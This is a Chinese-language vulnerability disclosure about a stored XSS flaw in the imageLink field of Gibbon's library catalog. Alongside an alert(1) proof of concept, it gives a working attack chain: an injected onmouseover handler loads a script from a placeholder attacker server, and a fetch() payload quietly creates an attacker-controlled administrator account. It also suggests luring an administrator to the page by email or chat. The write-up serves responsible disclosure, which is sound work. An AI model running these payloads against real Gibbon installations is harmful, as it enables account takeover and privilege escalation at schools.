Gibbon 是一个功能齐全的开源学校管理系统。目前正在大力重构较为陈旧的代码库。
作者:Christian Bajada
编辑/提交新书籍时 (/modules/Library/library_manage_catalog_editProcess.php) 的 imageLink 参数容易受到 XSS 攻击。具有管理目录权限的用户可以利用此漏洞,导致具有更高级别权限的用户执行任意脚本,从而提升权限。
[http://x](http://x/)" onerror='alert(1)' ,在加载图书馆页面时,警报代码将在页面加载时执行:

本节解释了如何利用此漏洞进行更危险的操作,而不仅仅是一个简单的 alert(1) 弹窗。我们将诱骗已登录的管理员无缝创建另一个可由攻击者访问的管理员账户。
imageLink 字段太小,无法让我们调用 Gibbon 平台上的任何有意义的功能。我们只需将 JavaScript 托管在其他地方,然后让浏览器下载并执行它。缺少 CSP 使得这一点成为可能。
fetch('./modules/User%20Admin/user_manage_addProcess.php', { method: 'POST', body: new URLSearchParams({ title: 'Mr.', surname: 'Cat', firstName: 'Hex', preferredName: 'Hex', 'officialName' : 'Hex', gender: 'M', dob: '01/04/2024', gibbonRoleIDPrimary: '001', username: 'hexthecat', passwordNew: 'Hexed001', passwordConfirm: 'Hexed001', status: 'full', canLogin: 'Y', passwordForceReset: 'Y' }) });
http://books.google.com/books?id=SluXuAAACAAJ&printsec=frontcover&img=1&zoom=1&source=gbs_api" onmouseover="$.getScript('https://<yourserver.com>/payload.js')"
你需要等待管理员导航到图书馆目录,或者通过即时通讯、电子邮件或其他渠道说服他们这样做。
将鼠标悬停(onmouseover)在书籍图片上会导致 payload 从指定位置(本例中为 <yourserver.com>)获取并执行。这将创建一个管理员用户,恶意用户可以访问该用户。也可以使用 'onerror' 监听器让 payload 立即执行,而无需将鼠标悬停在图片上。
你可以在菜单 管理 > 用户管理 中检查创建的用户

根据 https://github.com/GibbonEdu/core/security 上的负责任披露指南发布。